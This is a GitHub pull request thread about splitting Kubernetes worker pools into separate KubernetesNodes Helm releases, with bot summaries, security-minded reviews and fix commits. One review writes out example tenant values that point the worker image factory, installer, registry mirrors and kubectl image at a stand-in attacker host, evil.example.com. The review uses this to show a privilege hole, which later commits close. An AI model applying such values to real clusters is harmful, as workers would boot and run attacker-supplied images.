feat(kubernetes)!: manage worker pools as KubernetesNodes, adopt on upgrade (Phase 2, breaking) - #3315
Conversation
|
Note Reviews pausedIt looks like this branch is under active development. To avoid overwhelming you with review comments due to an influx of new commits, CodeRabbit has automatically paused this review. You can configure this behavior by changing the Use the following commands to manage reviews:
Use the checkboxes below for quick actions:
📝 WalkthroughWalkthroughThe Kubernetes chart now renders control-plane resources only, while worker pools use separate ChangesWorker-pool API and chart contract
Control-plane chart split
KubernetesNodes safeguards
Migration and adoption
Estimated code review effort: 4 (Complex) | ~60 minutes Sequence Diagram(s)sequenceDiagram
participant KubernetesHelmRelease
participant Migration54
participant KubernetesAPI
participant KubernetesNodesHelmRelease
KubernetesHelmRelease->>Migration54: provide nodeGroups and chart values
Migration54->>KubernetesAPI: inspect worker ownership
Migration54->>KubernetesAPI: annotate or pin worker objects
Migration54->>KubernetesNodesHelmRelease: create per-pool HelmRelease
KubernetesNodesHelmRelease->>KubernetesAPI: reconcile adopted worker resources
Possibly related PRs
Suggested labels: Suggested reviewers: 🚥 Pre-merge checks | ✅ 4 | ❌ 1❌ Failed checks (1 warning)
✅ Passed checks (4 passed)
✨ Finishing Touches📝 Generate docstrings
🧪 Generate unit tests (beta)
Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out. Comment |
Timofei Larkin (lllamnyp)
left a comment
There was a problem hiding this comment.
Review: adoption mechanism is sound, two things to fix before this can land
Reviewed against the base branch (feat/kubernetes-nodes-phase2a, #3314) rather than main, so the findings below are scoped to this PR's own changes. The core design is right and several of the load-bearing assumptions hold up under checking. Requesting changes for two issues: a name-length failure mode that can permanently block the platform upgrade for an entire management cluster, and the fact that the adoption code path — the part that mutates ownership of running worker VMs — is not executed by any test. Two further items are API-design gaps that bite after the upgrade rather than during it, and are cheap to close now.
What holds up
Three assumptions the migration rests on, checked individually rather than taken on faith.
The keep pin actually protects the objects. Helm's Client.Update calls info.Get() to refresh each to-be-deleted resource from the cluster before reading helm.sh/resource-policy, so annotating live objects rather than the stored release manifest is the correct approach, and that is what migration 52 does.
The parent chart tolerates the leftover values. The migration deliberately leaves nodeGroups and nodeHealthCheck in the parent HelmRelease rather than stripping them mid-window. packages/apps/kubernetes/values.schema.json carries no additionalProperties: false at any level, and rendering the new parent chart with a populated nodeGroups produces 45 documents without error. The choice works as described.
Render parity carries over. The pool chart's snapshot suite passes, and the golden-parity script it replaces passes on the base branch, so the content-hashed KubevirtMachineTemplate name is preserved across adoption and live worker VMs do not churn.
1. Migration 52 can permanently deadlock the platform upgrade on a long cluster name
packages/core/platform/images/migrations/migrations/52:128-131
The migration hard-exits when kubernetes-nodes-<cluster>-<pool> exceeds 53 characters. But cluster names up to 42 characters are legal today — pkg/registry/apps/application/rest.go:1303 computes the cap as 53 - len("kubernetes-"). The child release carries the longer kubernetes-nodes- prefix, so adoption requires cluster plus pool to fit in 36 characters combined. Any existing cluster named longer than roughly 32 characters therefore fails this check on every run.
Concretely: a tenant has a cluster named production-eu-central-analytics-01 (33 characters) with pool md0. The child release name comes to 54 characters, the migration exits 1, run-migrations.sh aborts the pre-upgrade hook, the platform HelmRelease never applies, and CURRENT_VERSION stays at 52. Every subsequent upgrade attempt hits the same fatal exit. One tenant's perfectly legal cluster name blocks platform upgrades for the entire management cluster, and the only remedy available to the operator is deleting and recreating that cluster.
Failing closed is the right instinct here — a pool left unpinned gets pruned, which is worse — but this fails closed permanently with no path out. Worth deciding on a recovery story: either the overflow case takes a deterministically shortened release name with the mapping recorded, or the pool is skipped and reported loudly while remaining under the parent (which implies the parent keeps rendering pools it could not hand off, a larger change).
Related and worth a line in the header comment either way: the run is not atomic. The exit happens mid-stream, so tenants processed before the failure already have adopted, pinned objects and a child HelmRelease while later tenants have nothing. That intermediate state is safe, since nothing prunes until the platform HelmRelease applies and it never does, but an operator debugging the stuck upgrade will find the fleet in two states and should be told to expect that.
2. The adoption path is never executed by any test
hack/testdata/migration-52/kubectl:16-21
The fake kubectl returns non-zero for every MachineDeployment, MachineHealthCheck, WorkloadMonitor and KubevirtMachineTemplate get, so every adopt_one call short-circuits at migrations/52:77-80 on "absent, skipping". What that means in practice: the keep and release-name annotate, the "already adopted" idempotency branch, the "owned by unexpected release, refusing" guard, and the ^kubernetes-<cluster>-<group>-[0-9a-f]{6}$ regex that exists specifically to stop pool md0 mis-adopting sibling md0-large's templates are none of them exercised. The two tests pin the jq value mapping and nothing else.
The e2e does not cover it either. hack/e2e-chainsaw/_lib/run-kubernetes.sh:325-345 creates a KubernetesNodes CR directly, which exercises the greenfield path, and there is no 52-to-53 upgrade scenario anywhere under hack/e2e-chainsaw/.
This matters more than a routine coverage gap because the bats file's own header documents that the last bug in this script — a jq scoping mistake that would have rolled every live worker VM — survived static review and was caught only by e2e on a real cluster. The branch still untested is the one that mutates ownership of running infrastructure. Extending the fake to return objects annotated meta.helm.sh/release-name=kubernetes-test3 and asserting the resulting annotate calls would cover the idempotency and refusal branches directly, and looks like roughly twenty lines.
3. Nothing validates the pool's Kubernetes version against the parent cluster
packages/apps/kubernetes-nodes/values.yaml:79 and packages/apps/kubernetes-nodes/templates/nodegroup.yaml:458
The pool chart defaults version: "v1.35" and derives the machine version purely from its own .Values.version. The parent cluster's version is never read — the chart's only lookup calls are for the instancetype and for KubevirtMachineTemplate/MachineSet preservation. The README says the value "must match the parent cluster's version", but nothing enforces it.
Failure scenario: an operator running a v1.31 cluster creates a worker pool through the dashboard and accepts the defaults. The pool renders v1.35.6 and the new workers join a v1.31 control plane with a kubelet four minor versions ahead of the apiserver. Kubernetes supports kubelet at or below apiserver version only; the reverse skew is unsupported and fails in ways that are hard to trace back to a chart default.
The monolithic chart made this impossible by construction, since one version fed both. Pools adopted by the migration are fine — it copies version and talos from the parent, and the bats test pins exactly that. So this affects only pools created after the upgrade, which is every pool from then on. A lookup against the parent HelmRelease or KamajiControlPlane that fails the render on mismatch would close it, as would dropping the default so the field has to be supplied deliberately.
The same reasoning applies more mildly to talos.version, which at least has the support-matrix check against version to catch the worst combinations.
4. spec.cluster is mutable, and editing it deletes the pool's worker VMs
packages/system/kubernetes-nodes-rd/cozyrds/kubernetes-nodes.yaml — no field in the KubernetesNodes openAPISchema carries x-kubernetes-validations.
Every object the pool renders takes its name from the cluster linkage: KubevirtMachineTemplate at nodegroup.yaml:372, MachineDeployment at :381, MachineHealthCheck at :463, WorkloadMonitor at :500.
Failure scenario: an operator corrects what looks like a typo in spec.cluster on a running pool. The next reconcile renders an entirely new set of object names, Helm creates them and prunes the old MachineDeployment, and every running worker VM in that pool is deleted. No warning, no undo.
The parent chart marks its top-level storageClass immutable for a strictly milder reason, so the precedent exists. cluster should carry self == oldSelf. storageClass on the pool arguably should too: it is a KubevirtMachineTemplate content-hash input, so changing it rerolls every VM in the pool, and the parent's stated reason for leaving the old per-group field mutable — optional and undefaulted — no longer applies now that the pool's storageClass defaults to replicated.
5. The apiserver ClusterIP certSAN patch now lives only in a child release
packages/apps/kubernetes-nodes/templates/talos-reconcile-job.yaml:210-216 against packages/apps/kubernetes/templates/cluster.yaml:288-294
The parent renders certSANs with the two DNS names only, and with its talos-reconcile-job.yaml deleted it has nothing left that patches in the live Service ClusterIP. That patch now runs exclusively from a pool's Job.
Two consequences follow. A cluster with zero pools — an explicitly supported shape now, pinned by the new control_plane_only_test.yaml — never gets the ClusterIP into its apiserver certificate. And because KamajiControlPlane is a CRD, Helm's merge patch replaces the certSANs array wholesale, so any parent upgrade resets it to the two DNS entries, and recovery depends on an unrelated child release's Job happening to re-run, which it will not if its content hash is unchanged and its TTL has already cleared it.
Flagging this as a design question rather than a confirmed break, because the comment removed from the old Job states that workers deliberately dial the apiserver by DNS name with extraHostEntries precisely so the IP SAN is not needed, and the array-replace hazard predates this PR. What is new is that the control plane's certificate completeness has become a cross-release dependency. Worth confirming what actually consumes the IP SAN before deciding whether it needs addressing here.
6. The parent HelmRelease can fail during the migration window
packages/core/platform/images/migrations/migrations/52:30-32
The migration re-annotates live worker objects onto the child release during the platform's pre-upgrade hook, but the new parent chart artifact only publishes after that hook completes. If the parent kubernetes-<cluster> HelmRelease upgrades inside that window — a user edit, a forced reconcile, any values change — it renders the old chart, which still emits those objects, and Helm rejects the upgrade with an ownership-metadata error.
It self-heals once the new artifact lands, and the probability is low because Flux no-ops an interval reconcile when nothing changed. But the header comment describes the hook as "the only safe window" without acknowledging that the window is not actually quiet. A sentence in the comment, plus a note in the release notes advising operators not to edit Kubernetes CRs mid-upgrade, would cover it.
7. The default pool shape has no golden render coverage
packages/apps/kubernetes-nodes/tests/render_snapshot_test.yaml:29
Every snapshot case sets instanceType: "" with explicit resources, for the same reason the parity script it replaces did: lookup returns nil offline, so the instancetype-sized branch cannot render. That branch is the default (u1.medium) and the shape every migration-adopted md0 will use, so the guard that exists specifically to catch KubevirtMachineTemplate hash churn covers the branch that real clusters mostly do not use.
Not fixable within helm-unittest, and the e2e does run u1.medium, so the branch is exercised even if it is not pinned. Worth stating the limitation in the suite header alongside the existing note, so "golden render snapshot" is not read as broader than it is.
8. The migration copies the parent's whole images map
packages/core/platform/images/migrations/migrations/52:152
pick(.; ["version","talos","images"]) copies images wholesale, so an adopted pool's values carry waitForKubeconfig and talosCsrSigner — fields the KubernetesNodes schema does not declare, since it has only images.kubectl. Harmless to Helm, but the adopted CR surfaces fields the API does not document, and a dashboard round-trip may drop them silently and produce a spurious diff. Picking images.kubectl specifically would be cleaner and would match how the group fields are already handled.
9. Worker health disappears from the parent CR's status
The pool's WorkloadMonitor now carries the pool release's application labels, and getWorkloadsOperational at pkg/registry/apps/application/rest.go:1483-1491 selects monitors by application.kind, application.group and application.name. So the parent Kubernetes CR's WorkloadsReady condition becomes control-plane-only and no longer reflects worker health. That is arguably correct for a split, but it changes what a dashboard or a kubectl wait observes, and it is not currently in the README's breaking-change section.
Separately, and possibly deliberate: the pool's VM pod template still stamps apps.cozystack.io/application.kind: Kubernetes and application.name: <cluster> at nodegroup.yaml:112-114, which is required for byte-parity but means pool VMs are attributed to the parent application for lineage and quota purposes while the release that owns them is a KubernetesNodes. Worth confirming that accounting is intended.
Summary of ChangesHello, I'm Gemini Code Assist1! I'm currently reviewing this pull request and will post my feedback shortly. In the meantime, here's a summary to help you and other reviewers quickly get up to speed! This pull request implements Phase 2 of the Kubernetes-app split, transitioning worker node pool management from the main Highlights
New Features🧠 You can now enable Memory (public preview) to help Gemini Code Assist learn from your team's feedback. This makes future code reviews more consistent and personalized to your project's style. Click here to enable Memory in your admin console. Ignored Files
Using Gemini Code AssistThe full guide for Gemini Code Assist can be found on our documentation page, here are some quick tips. Invoking Gemini You can request assistance from Gemini at any point by creating a comment using either
Customization To customize the Gemini Code Assist for GitHub experience, repository maintainers can create a configuration file and/or provide a custom code review style guide (such as PEP-8 for Python) by creating and adding files to a Limitations & Feedback Gemini Code Assist may make mistakes. Please leave feedback on any instances where its feedback is incorrect or counterproductive. You can react with 👍 and 👎 on Gemini (@gemini-code-assist) comments. If you're interested in giving your feedback about your experience with Gemini Code Assist for GitHub and other Google products, sign up here. Footnotes
|
There was a problem hiding this comment.
Code Review
This pull request implements Phase 2 of the Kubernetes app split, moving worker node pools (including KubevirtMachineTemplate, MachineDeployment, MachineHealthCheck, and WorkloadMonitor) out of the monolithic kubernetes chart into a separate kubernetes-nodes chart. It introduces a platform migration script (migration 52) to adopt existing worker pools into the new per-pool HelmReleases without VM churn, alongside extensive updates to schemas, documentation, and tests. A critical issue was identified in the migration script where the shebang #!/bin/sh is incompatible with the pipefail option, which can be resolved by changing the shebang to #!/bin/bash.
Important
The consumer version of Gemini Code Assist on GitHub is being sunset. Starting June 18, 2026, new organization installations will be blocked, and all code review activity will officially cease on July 17, 2026.
For more details on the timeline and next steps, please review the Help Documentation.
| @@ -0,0 +1,225 @@ | |||
| #!/bin/sh | |||
There was a problem hiding this comment.
The migration script uses set -euo pipefail (line 62), but the shebang specifies #!/bin/sh. Standard POSIX sh (such as dash on Debian/Ubuntu) does not support the pipefail option, which will cause the script to fail immediately with a set: Illegal option -o pipefail error. Changing the shebang to #!/bin/bash ensures that pipefail is supported and the script runs reliably.
| #!/bin/sh | |
| #!/bin/bash |
…ests) Address review on #3315: - Name-length overflow no longer exits 1 (which would deadlock the platform pre-upgrade hook for every tenant). Instead pin the pool's worker objects with resource-policy=keep, skip the child HR, warn loudly, and continue. - Copy only images.kubectl into the child values, not the parent's whole images map (waitForKubeconfig/talosCsrSigner are undeclared in the schema). - Note that the pre-upgrade window is not quiet (a parent HR edit mid-upgrade renders the old chart and self-heals once the new artifact lands). - Cover the adoption path directly: annotate keep + release-name, idempotent skip, unexpected-owner refusal, and the 6-hex KMT anchor rejecting a sibling pool's template. Signed-off-by: Ivan Okhotnikov <[email protected]>
…version vs parent Address review on #3315: - Mark cluster and storageClass immutable (self == oldSelf): both feed object names / the KubevirtMachineTemplate content hash, so editing them on a live pool would rename everything and delete the running worker VMs. - Validate the pool's Kubernetes minor against the parent cluster's KamajiControlPlane at render (skipped offline / when the parent is absent), so a pool created after the split cannot join workers ahead of the apiserver. - Note in the snapshot suite header that the instancetype-sized default is not pinned offline (lookup nil); the e2e exercises it. Signed-off-by: Ivan Okhotnikov <[email protected]>
… scope Address review on #3315: - README breaking-changes: worker pools move to KubernetesNodes (nodeGroups removed, adopted by migration 52); the parent Kubernetes CR's WorkloadsReady is now control-plane-only; ingressNginx needs an explicit ingress pool; do not edit Kubernetes CRs mid platform-upgrade. - Note that the apiserver ClusterIP certSAN is a best-effort extra — workers dial by DNS, so a pool-less control plane is fine without it; the merge-patch array-replace predates the split. - Confirm the pool VM pod is intentionally attributed to the parent Kubernetes application (byte-parity + lineage/quota under the owning cluster). Signed-off-by: Ivan Okhotnikov <[email protected]>
26aa9a3 to
b2e1707
Compare
…gration 52) Pre-upgrade migration for the Phase 2 kubernetes chart split. For every parent kubernetes-<cluster> HelmRelease it creates one child kubernetes-nodes-<cluster>-<pool> HelmRelease and re-annotates the existing worker objects onto it with helm.sh/resource-policy=keep, so the now control-plane-only parent upgrade does not prune the tenant's running workers. Byte-identical child render (PR-2a golden parity) keeps the KubevirtMachineTemplate content-hash stable, so no worker VM churns. Idempotent and strict (exit 1 on any failure). Bumps targetVersion to 53 (contiguous with main; rebase to 53/54 if another 52 lands first). Signed-off-by: Ivan Okhotnikov <[email protected]>
The KubevirtMachineTemplate/MachineDeployment/MachineHealthCheck/worker WorkloadMonitor, the preserve-old-KMT block, the talos-reconcile Job and its RBAC now live in the kubernetes-nodes chart. The kubernetes chart renders the control plane only. Signed-off-by: Ivan Okhotnikov <[email protected]>
Worker pools are now managed via KubernetesNodes resources; existing pools are adopted by migration 52. BREAKING CHANGE: the Kubernetes CR no longer accepts spec.nodeGroups. Create KubernetesNodes resources for worker pools instead. Signed-off-by: Ivan Okhotnikov <[email protected]>
…n is enabled With pools moved out of the chart the ingress-nginx addon can no longer rely on an auto-provisioned md0; fail the render with a clear message when addons.ingressNginx.enabled and no pool carries roles: [ingress-nginx]. Signed-off-by: Ivan Okhotnikov <[email protected]>
Drop pool-render tests; assert no pool objects render; add ingress-nginx guard tests. Signed-off-by: Ivan Okhotnikov <[email protected]>
…shot The parent no longer renders pools to diff against, so the one-shot extraction parity check is replaced by a self-contained golden snapshot. Signed-off-by: Ivan Okhotnikov <[email protected]>
Anchor the KubevirtMachineTemplate sweep to the 6-hex content-hash suffix so a pool name that is a prefix of a sibling (md0 vs md0-large) no longer mis-adopts the sibling's KMT and deadlocks the migration. Adopt the worker objects before creating the child HelmRelease so helm-controller cannot start the child install into un-adopted objects and fail Helm ownership validation. Emit the same install/upgrade strategy (RetryOnFailure) and maxHistory cozystack-api sets, add a pre-flight release-name length check, and document the rollback path. Signed-off-by: Ivan Okhotnikov <[email protected]>
types.go dropped NodeGroups/NodeGroup/GPU/Kubelet/NodeHealthCheck but the generated deepcopy still referenced them, so the api module failed to build. Regenerated with controller-gen. Signed-off-by: Ivan Okhotnikov <[email protected]>
Migration 52 pins adopted worker objects with helm.sh/resource-policy=keep for the transition window. Left in place it leaks the objects when an adopted pool is deleted. Add a pre-delete hook that strips the annotation from the release's own worker objects so Helm deletes them cleanly; runs on delete only (never on upgrade, so it cannot race the parent re-render) and is a no-op for natively-created pools. Signed-off-by: Ivan Okhotnikov <[email protected]>
…heck The 'emits no worker-pool objects' assertions used 'not: true' with 'documentIndex: -1', which scopes the check to the last rendered document only, so a stray MachineDeployment/KubevirtMachineTemplate/MachineHealthCheck/ TalosConfigTemplate anywhere else passed silently. Move 'any: true' inside the containsDocument matcher and drop documentIndex so the negation covers every document. Verified the asserts now redden when a worker object is present. Signed-off-by: IvanHunters <[email protected]>
The merge renumbered the worker-pool adoption migration from 54 to 56, but six references still named 54 (README, pre-delete-unpin hook, cluster.yaml, worker_adoption_guard test), which now points at main's redis-operator adoption migration. Repoint them at 56. Signed-off-by: IvanHunters <[email protected]>
The Kubernetes CR still accepts and stores spec.nodeGroups, spec.nodeHealthCheck and spec.maxNodeProvisionTime after the Phase 2 split (the adoption migration leaves them on an upgraded CR rather than rewriting parent values mid-upgrade), but they no longer render anything, so an operator scaling via spec.nodeGroups.<x>.minReplicas silently got nothing. Emit a non-blocking client-facing admission warning on Create/Update when any of these fields is present, pointing the operator at the KubernetesNodes resources. A hard rejection is intentionally avoided: it would break edits to already-upgraded clusters that still carry the fields. Also enumerate all the Phase 2 breaking changes (three removed fields, two KubernetesNodes immutability rules, the 32-char cluster-name cap) in the chart README. Signed-off-by: IvanHunters <[email protected]>
myasnikovdaniil
left a comment
There was a problem hiding this comment.
Blocker is computeplane, and it is not in these commits, it is what they left.
packages/extra/computeplane still deploys apps/kubernetes and still passes nodeGroups at cluster.yaml:100, but nodeGroups is gone from that chart entirely now. Two helm template runs differing only in fully populated nodeGroups.md0 give byte identical output, zero MachineDeployment, exit 0, no warning. So fresh computeplane cluster comes up with no workers. Existing one is not adoptable either, migration 56 excludes it three times (label at migrations/56:264, name glob at 272, template name regex at 254) because release is computeplane-cluster, not kubernetes-*. Operator can escape the render guard by hand with helm.sh/resource-policy: keep, but then pool is unmanaged forever. It is off by default (apps/tenant/values.yaml:23) but package installs unconditionally with iaas bundle and there is no feature gate, so it is not dead code.
warnRemovedKubernetesFields cannot help here either, it returns on r.kindName != kubernetesKind (rest.go:1940) and computeplane never creates a Kubernetes CR.
Five tests in computeplane cluster_test.yaml touch nodeGroups and stay green, line 60 asserts a wrapped-chart default that does not exist anymore. That is why CI does not show this.
Round 6: 1 fixed, 2 half (warning works, i verified it end to end through real warning recorder on both entrypoints, but release note undercount is still open and PR body boxes still unticked), 3 fixed, 4 fixed.
Small one on the warning test: it covers the function and neither call site. Deleting both calls at rest.go:206 and :554 keeps go test ./pkg/registry/apps/application/ green.
…Phase 2 split Phase 2 moved worker nodeGroups out of apps/kubernetes into apps/kubernetes-nodes, but the ComputePlane module still passed nodeGroups to the wrapped kubernetes chart, which now ignores it: a fresh ComputePlane cluster came up with zero workers (and the pinned ingress-nginx addon stuck Pending), while existing ones were unreachable by migration 56 (it only adopts kubernetes-* releases, not computeplane-cluster). The module now emits one kubernetes-nodes child HelmRelease per nodeGroup, shaped like a natively created pool, and materialises the pre-split default md0 (roles: [ingress-nginx]) when nodeGroups is empty. The pool chart's clusterName gains an internal clusterReleaseName override so pools attach to the module's fixed computeplane-cluster release, which is off the aggregated API's kubernetes-<cluster> convention; the default keeps every API-created pool byte-identical. Signed-off-by: IvanHunters <[email protected]>
…Update call sites TestWarnRemovedKubernetesFields pinned the helper in isolation, so deleting either call site (rest.go Create/Update) left it green while an operator editing a Phase 2 removed field would silently get no warning. These drive Create and Update end to end and assert the warning surfaces; removing a call site now fails loudly (verified by mutation). Signed-off-by: IvanHunters <[email protected]>
…r commit The kubernetes.nodeGroups helper that DEFAULT_MD0 reproduces was deleted in this line of work, so nothing in-tree diffs against it and a future edit to the constant (instanceType/diskSize/...) would silently rename the content-hashed KubevirtMachineTemplate and roll every implicit-md0 pool. Reference the pre-removal definition (git show 92b9785^:.../kubernetes/templates/_helpers.tpl) so the canonical default stays diffable. Signed-off-by: IvanHunters <[email protected]>
myasnikovdaniil
left a comment
There was a problem hiding this comment.
Re-reviewed at 5b08d4863, three commits since my last round. Two blockers, and one of them is same class you closed twice already.
d93e136e2 fixes computeplane in mechanism. Pool HRs come out, clusterReleaseName wiring is right, object names are computeplane-cluster-<pool> which byte-matches what pre-split parent rendered, and cluster_release_name_test.yaml pins both directions. Blockers are not there. They are in how tenant values reach it.
1. New, nobody looked at this code yet: nodeGroup key lands on pool chart top-level values, node image included
extra/computeplane/templates/cluster.yaml:166-168 splices tenant group dict verbatim, and NodeGroup schema has no additionalProperties: false. tests/cluster_test.yaml:215 pins that pass-through on purpose. maxUnhealthy is shape and fine. talos is not:
values:
cluster: computeplane-cluster
clusterReleaseName: computeplane-cluster
talos:
imageFactoryURL: https://evil.example.com
installerRepository: evil.example.com/installer
schematicID: deadbeefdeadbeef...
registryMirrors:
ghcr.io:
endpoints: ["https://evil.example.com/v2"]
skipFallback: true
version: v1.31
images:
kubectl: evil.example.com/kubectl:latestkubernetes-nodes/templates/nodegroup.yaml:89 builds worker disk image from talos.imageFactoryURL and schematicID, talos-reconcile-job.yaml:332 builds in-guest installer from talos.installerRepository and schematicID. Pre-split those keys were inert, I grepped every template on origin/main for $group.talos, $group.version and $group.images and there is no reader. So on a module that says "cluster shape only, the security posture is fixed by the module and cannot be overridden through this knob" (values.yaml:34), tenant now picks worker OS image.
Same splice takes your own wiring too. cluster: and clusterReleaseName: sit at :164-165, above it, so a group key of the same name is a duplicate yaml key. Decoded through sigs.k8s.io/yaml v1.6.0, which is what helm and apiserver both use, tenant half wins:
spec.values = {"cluster":"attacker-cluster","clusterReleaseName":"kubernetes-attacker"}
Setting only clusterReleaseName keeps groupName prefix check happy, render exits 0, and pool MD/KMT/MHC attach to kubernetes-attacker. Computeplane loses its workers and they come up in a cluster the tenant has admin on. Fix is at the splice, omit $group "cluster" "clusterReleaseName" "talos" "version" "images", or pick the documented fields.
2. Third time this PR hits the 53-char cap, first time on this path
cluster.yaml:138 fixes a 38 char prefix, helm caps release name at 53, so 15 chars left for pool. workers-for-analytics-jobs renders kubernetes-nodes-computeplane-cluster-workers-for-analytics-jobs, 64 chars. Valid dns-1123 subdomain, so the HR is created and then never reconciles. No maxLength or propertyNames in schema, no render-time guard either. Pre-split a 26 char key was fine, objects were computeplane-cluster-<pool> inside parent release and no new helm release name existed.
lllamnyp closed this class on migration overflow branch in round 2, I closed it on api path in round 6, and rest.go:1291-1302 carries your own comment saying failing at render time on a child that can never be created is the outcome to avoid. Same thing again on code that is three days old. A fail next to the ingress-role guard at :50 is enough.
Repeat from last round, untouched
Migration 56 excludes computeplane. I wrote it out in round 7: label selector at :270 is apps.cozystack.io/application.kind=Kubernetes and the parent HR carries no such label, name glob at :278, KMT regex at :260. Three commits since touched 56 only to add a comment above DEFAULT_MD0. So an existing cluster deadlocks both ways, parent guard at apps/kubernetes/templates/cluster.yaml:133 refuses the render and assertNoForeignPool (_helpers.tpl:107) refuses the child, and the guard message points at a migration that will not touch this cluster.
Still not blocking. extra/computeplane is absent from origin/release-1.5 and origin/release-1.6 and no version tag carries it, so nothing released has one, a nightly stand does. Three lines in 56 or a sentence in the body.
Half done from last round
Round 7 I pointed at cluster_test.yaml line 60 asserting a wrapped-chart default that does not exist anymore. Tests are rewritten and green. The same sentence is still in the doc: values.yaml:34 says "the wrapped kubernetes chart emits its default scale-from-zero md0" and :27 says per-pool storageClass "falls back to the application-level storageClass of the wrapped kubernetes app". Module materialises md0 itself at :130-131 now, and storageClass falls back to kubernetes-nodes own replicated. Both strings are copied into values.schema.json, README.md:44 and :49, and computeplane-rd/cozyrds/computeplane.yaml:11 which is what dashboard renders, so this wants make generate in the package rather than a hand edit.
apps/kubernetes/README.md:98 is a good five point Phase 2 note and says nothing about computeplane pools becoming separate releases.
Fourth round on this one
Both boxes under "Not yet done (blocking draft to ready)" are unticked on a PR marked ready, and the body itself says the computeplane worker path is helm-unittest only, pending the live upgrade run. That path is the newest thing here and it is the thing that provisions the workers. No comment on the PR since 08-21.
Closed, checked by breaking them
Round 6. Cluster names 35 and up: maxKubernetesClusterName = 53-17-4 = 32 at rest.go:1302. Release note undercount: note names three removals, both immutability rules, 32 char cap and the ingress action, api-gate three entries all covered. Accepted-but-inert fields: warning plus README point 5. any: true as sibling key: inside the containsDocument map now, and flipping one negation reddens the suite, so all four assertions are live. Stale migration 54 refs: all five sites say 56.
Round 7. Warning covered the helper and neither call site: rest_warn_removed_fields_callsite_test.go. Replacing both calls at rest.go:206 and :554 with a no-op fails TestCreate_WarnsOnRemovedKubernetesFields and TestUpdate_WarnsOnRemovedKubernetesFields.
helm unittest green for extra/computeplane (10), apps/kubernetes-nodes (81 plus 12 snapshots) and core/platform (138), go test ./pkg/registry/apps/application/ ok. Require API owner review is red and needs lllamnyp or kvaps on this head, no code change fixes that one.
| cluster: {{ $clusterRelease }} | ||
| clusterReleaseName: {{ $clusterRelease }} | ||
| {{- with $group }} | ||
| {{- toYaml . | nindent 4 }} |
There was a problem hiding this comment.
This carries every top-level kubernetes-nodes value, documented NodeGroup fields and everything else. talos.*, version and images land here, and cluster and clusterReleaseName from :164-165 lose to a group key of the same name because it renders a duplicate yaml key.
omit $group "cluster" "clusterReleaseName" "talos" "version" "images", or pick the fields the schema documents.
| apiVersion: helm.toolkit.fluxcd.io/v2 | ||
| kind: HelmRelease | ||
| metadata: | ||
| name: kubernetes-nodes-{{ $clusterRelease }}-{{ $pool }} |
There was a problem hiding this comment.
38 char fixed prefix against helm 53 char cap leaves 15 chars for $pool. Longer pool name creates an HR that is accepted by apiserver and then never reconciles, and nothing catches it, schema has no maxLength on the key. Guard it here like the ingress-role check at :50.
| # the generator ever learns to close the object, this test should flip to | ||
| # asserting rejection. | ||
| - it: passes unlisted nodeGroup fields through to the wrapped chart | ||
| - it: passes unlisted nodeGroup fields through to the pool chart |
There was a problem hiding this comment.
Pass-through is right for shape fields and wrong for worker image. Worth splitting this case: assert maxUnhealthy goes through, and talos, version, images, clusterReleaseName do not.
… and overflowing release names The per-pool child HelmRelease spliced the tenant nodeGroup dict verbatim (toYaml) after setting cluster/clusterReleaseName, and the NodeGroup schema has no additionalProperties:false. A tenant could therefore (a) set a duplicate cluster/clusterReleaseName key that wins the YAML merge and re-parents the pool onto a tenant-controlled cluster, or (b) pass talos/ version/images through a shape-only knob and pick the worker OS image, installer and kubelet version. omit those five keys at the splice so only the pool's own shape flows through (tolerated extras like maxUnhealthy still do). Separately, each pool renders a 38-char fixed release-name prefix against Helm's 53-char cap, so a nodeGroup key over 15 chars created a HelmRelease the apiserver accepts but Flux never reconciles, with no other signal. Guard the length at render time, next to the ingress-role guard, mirroring the migration overflow branch and the aggregated API's validateNameLength. Also refresh the generated values doc: the module now materialises its own default md0 and pool storageClass falls back to the kubernetes-nodes chart default, not the wrapped kubernetes app. Signed-off-by: IvanHunters <[email protected]>
…rd unadopted pools in migration 56 The worker-adoption sweep selected parents by the apps.cozystack.io/ application.kind label, which postdates v1.2. A parent kubernetes HelmRelease older than that, or one restored by hand, lacks the label: the sweep skipped it, stamped, and the parent's control-plane-only re-render then pruned its un-pinned workers with no pin and no warning. Discover such releases by their chartRef instead and restamp the three application labels before the sweep (additive, cannot corrupt a release, and repairs it for cozystack-api too). Every warn+pin+skip branch leaves a pool pinned prune-proof but unadopted, recorded only in the Job log, which the next upgrade reaps; the migration does not re-run, so an operator cannot find those pools afterward. Accumulate the skips and publish them as configmap/cozystack-migration-56-unadopted before the stamp. Extend the fake kubectl and add bats coverage for the restamp (positive and negative) and the unadopted-ConfigMap paths. Signed-off-by: IvanHunters <[email protected]>
The guard's refusal message told the operator to run the platform migration, but the case that reaches it is precisely one the migration already ran and stamped for (its slot was renumbered out on a backport, or the parent HelmRelease predates the application.kind label and the selector skipped it) -- re-running does nothing. Name the manual recovery instead: annotate resource-policy=keep on the listed MachineDeployments, then stamp the cozystack-version ConfigMap back below the worker-adoption migration so it re-runs. Also note in the Phase 2 README that computeplane clusters render their worker pools as separate KubernetesNodes releases too. Signed-off-by: IvanHunters <[email protected]>
The durable-record ConfigMap write sat under set -euo pipefail right before the version stamp, so a permanent failure (e.g. the record exceeding etcd's object size limit at a very large skip count) would abort the migration and deadlock the fleet upgrade with no path out -- even though every skipped pool was already pinned prune-proof earlier in the sweep, so the workers are safe regardless of whether the record lands. The record is a convenience artifact, not a safety mechanism, so swallow its failure with a warning instead of failing closed. Covered by a bats case that fails the publish and asserts the run still stamps. Signed-off-by: IvanHunters <[email protected]>
…ve length-guard prefix The pool-value splice used omit (a denylist), which leaks every key it does not name. Since this module runs untrusted tenant code and the NodeGroup schema has no additionalProperties:false, a tenant could pass the platform-injected _cluster object (cluster-domain/oidc/dns01/proxy, delivered via cozystack-values and merged UNDER spec.values, so a tenant key wins) or nameOverride straight through to the pool chart -- and any future kubernetes-nodes top-level value would silently re-open the same hole. Switch to pick: pass through only the enumerated per-pool shape fields, so everything cluster-level or module-owned is dropped by construction (fail-closed for new fields). Also derive the length-guard's release-name prefix from $clusterRelease so it cannot drift from the name actually rendered. Regression-tested: _cluster and nameOverride no longer reach the child values; maxUnhealthy and the module wiring still do. Signed-off-by: IvanHunters <[email protected]>
